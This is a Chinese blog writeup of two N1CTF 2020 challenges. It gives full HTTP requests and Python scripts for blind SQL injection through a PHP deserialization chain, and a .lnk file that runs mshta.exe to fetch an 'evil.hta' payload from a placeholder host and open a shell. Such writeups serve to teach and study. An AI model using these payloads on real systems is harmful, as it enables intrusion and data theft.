c1ay's blog

2020 N1CTF writeup

字数统计: 2.4k阅读时长: 13 min
2020/10/19 Share

队伍ID:GUTS,web狗个人参赛

做出的题目
mark

web-SignIn

这道题自己用注入注入出的key,然后通过key获取的flag,不知道其他师傅都是怎么解的

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}

查看代码,在flag类当中的getflag方法当中可以获取flag,但是需要满足md5($this->check)===md5("key****************"),所以需要先获取key****************的值

$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());这段代码位置可能存在sql注入,可以通过构造反序列化先到这一步

刚好flag类当中__wakeup方法的位置使用了stristr字符串函数,所有这里可以触发ip类的__toString方法

构造pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class ip
{
}
class flag
{
public $ip;
public function __construct()
{
$this->ip=new ip();
}
}
$obj=new flag();
echo serialize($obj);
?>

得到

1
O:4:"flag":1:{s:2:"ip";O:2:"ip":0:{}}

添加X-Forwarded-For头发送即可,但是这里经过了ip类的waf函数,这里并不知道过滤了什么,简单测试了一下,输入sleep等关键字会提示hackhack

尝试了好久的注入,发现并没有明显的响应可以判断是否存在注入,被这个$this->waf卡了好久

于是又仔细读了一遍代码,发现在ip类当中返回了sql的错误信息,但是并没有输出到页面当中,而是赋值给了flag类当中的$this->ip

mark

那么如果这里返回的错误信息当中有n1ctf就会输出welcome to n1ctf2020,否则就会输出noip,所以可以通过这种方式进行盲注

于是需要解决的问题就变为了如何让sql错误信息当中出现n1ctf,查看代码看到当前的数据库名刚好为n1ctf_websign,于是构造:

1
2
3
4
5
6
7
8
9
10
GET /index.php?input=O:4:%22flag%22:1:{s:2:%22ip%22;O:2:%22ip%22:0:{}} HTTP/1.1
Host: 101.32.205.189
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Forwarded-For: 1.1.1.1' and updatexml(1,if((1=1),1,concat(0x3a,database())),1) and '1'='

此时if判断为true,执行了INSERT into n1ip(`ip`,`time`) VALUES ('1.1.1.1' and updatexml(1,1,1) and '1'='',time()),语句没有产生报错,所以返回noip
mark

构造:

1
2
3
4
5
6
7
8
9
10
GET /index.php?input=O:4:%22flag%22:1:{s:2:%22ip%22;O:2:%22ip%22:0:{}} HTTP/1.1
Host: 101.32.205.189
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Forwarded-For: 1.1.1.1' and updatexml(1,if((1=2),1,concat(0x3a,database())),1) and '1'='

此时if判断为false,语句执行了INSERT into n1ip(`ip`,`time`) VALUES ('1.1.1.1' and updatexml(1,concat(0x3a,database()),1) and '1'='',time()),后端sql报错信息大概是XPATH syntax error: ':n1ctf_websign',错误信息返回给了flag类的$this->ip,从报错信息当中匹配到了n1ctf,于是这里输出了welcome to n1ctf2020

mark

为了方便理解,可以看下面两张图:

mark

mark

接着盲注,首先获取表名

1
2
3
4
5
6
7
8
9
10
GET /index.php?input=O:4:%22flag%22:1:{s:2:%22ip%22;O:2:%22ip%22:0:{}} HTTP/1.1
Host: 101.32.205.189
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Forwarded-For: 1.1.1.1' and updatexml(1,if(((select length(group_concat(table_name)) from information_schema.tables where table_schema=database())=10),1,concat(0x3a,database())),1) and '1'='

mark

通过代码已知一个表n1ip,group_concat(table_name)总长度为10,于是剩下一个表长度为5(因为group_concat结果中有一个逗号)
推测另一个表为n1key,推测成立

1
2
3
4
5
6
7
8
9
10
GET /index.php?input=O:4:%22flag%22:1:{s:2:%22ip%22;O:2:%22ip%22:0:{}} HTTP/1.1
Host: 101.32.205.189
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Forwarded-For: 1.1.1.1' and updatexml(1,if(((select table_name from information_schema.tables where table_schema=database() limit 1,1)='n1key'),1,concat(0x3a,database())),1) and '1'='

mark

获取n1key表当中的列名

1
2
3
4
5
6
7
8
9
10
GET /index.php?input=O:4:%22flag%22:1:{s:2:%22ip%22;O:2:%22ip%22:0:{}} HTTP/1.1
Host: 101.32.205.189
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Forwarded-For: 1.1.1.1' and updatexml(1,if(((select length(group_concat(column_name)) from information_schema.columns where table_name='n1key')=6),1,concat(0x3a,database())),1) and '1'='

mark

判断出group_concat(column_name)长度为6

编写获取列名脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
session = requests.Session()
column=""
for i in range(1,7):
for j in range(97,127):
paramsGet = {"input":"O:4:\"flag\":1:{s:2:\"ip\";O:2:\"ip\":0:{}}"}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0","Connection":"close","X-Forwarded-For":"1.1.1.1' and updatexml(1,if(((select ascii(substr(group_concat(column_name),{},1)) from information_schema.columns where table_name='n1key')={}),1,concat(0x3a,database())),1) and '1'='".format(i,j),"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding":"gzip, deflate"}
#print headers
response = session.get("http://101.32.205.189/index.php", params=paramsGet, headers=headers)
#print response.content
if "<code>noip</code></pre>" in response.content:
column+=chr(j)
print column
break

mark

两列:id和key

获取key的时候需要使用select `key` from n1key,直接select key会出现sql语法错误,这一点需要注意

mark

判断出n1key当中key列内容长度为25

1
2
3
4
5
6
7
8
9
10
GET /index.php?input=O:4:%22flag%22:1:{s:2:%22ip%22;O:2:%22ip%22:0:{}} HTTP/1.1
Host: 101.32.205.189
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Forwarded-For: 1.1.1.1' and updatexml(1,if(((select length(`key`) from n1key)=25),1,concat(0x3a,database())),1) and '1'='

mark

编写获取key脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
l="1234567890qazxswedcvfrtgbnhyujmkiolp"
session = requests.Session()
key=""
for i in range(1,26):
for j in l:
paramsGet = {"input":"O:4:\"flag\":1:{s:2:\"ip\";O:2:\"ip\":0:{}}"}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0","Connection":"close","X-Forwarded-For":"1.1.1.1' and updatexml(1,if(((select substr(`key`,{},1) from n1key)='{}'),1,concat(0x3a,database())),1) and '1'='".format(i,j),"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding":"gzip, deflate"}
response = session.get("http://101.32.205.189/index.php", params=paramsGet, headers=headers)
if "<code>noip</code></pre>" in response.content:
key+=j
print key
break

mark

获取到key为n1ctf20205bf75ab0a30dfc0c

之后就是通过反序列化构造poc获取flag

1
2
3
4
5
6
7
8
9
10
11
<?php
class flag
{
public $check;
public function __construct()
{
$this->check="n1ctf20205bf75ab0a30dfc0c";
}
}
echo serialize(new flag());
?>

得到

1
O:4:"flag":1:{s:5:"check";s:25:"n1ctf20205bf75ab0a30dfc0c";}

成功获取flag

mark

n1ctf{you_g0t_1t_hack_for_fun}

The King Of Phish (Victim Bot)

python代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Victim bot
import os
import subprocess
import uuid
import LnkParse3 as Lnk
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
source = open(__file__, 'r').read().replace("\n", "\x3c\x62\x72\x3e").replace(" ", "\x26\x6e\x62\x73\x70\x3b")
return source
@app.route('/send', methods=['POST'])
def sendFile():
if 'file' not in request.files:
return 'No file part'
file = request.files['file']
if file.filename == '':
return 'No selected file'
data = file.stream.read()
if not data.startswith(b"\x4c\x00"):
return "You're a bad guy!"
shortcut = Lnk.lnk_file(indata=data)
if shortcut.data['command_line_arguments'].count(" "):
return "File is killed by antivirus."
filename = str(uuid.uuid4())+".lnk"
fullname = os.path.join(os.path.abspath(os.curdir) + "/uploads", filename)
open(fullname, "wb").write(data)
clickLnk(fullname)
return "Clicked."
def clickLnk(lnkPath):
subprocess.run('cmd /c "%s"' % lnkPath, capture_output=True, shell=True, check=True)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

阅读代码,看样子是需要上传lnk文件,然后执行文件getshell,但是不能有空格

LnkParse3库

mark

最终找到可以上线的方法,通过mshta上线

mark

制作test.lnk

C:\Windows\System32\mshta.exe http://x.x.x.x/evil.hta

mark

测试无空格

mark

上传test.lnk,上线成功

mark

根据题目提示,最终在C:\Users\UserA\Desktop\flag.txt当中获取到了flag

mark

n1ctf{I'm_a_little_fish,_swimming_in_the_ocean}

C:\Users\UserA\Desktop\目录下还看到了CVE-2020-1472目录,但是这个不影响获取flag,应该和后面的The King Of Phish (UserA-PC)或者The King Of Phish (DC)有关

CATALOG
  1. 1. web-SignIn
  2. 2. The King Of Phish (Victim Bot)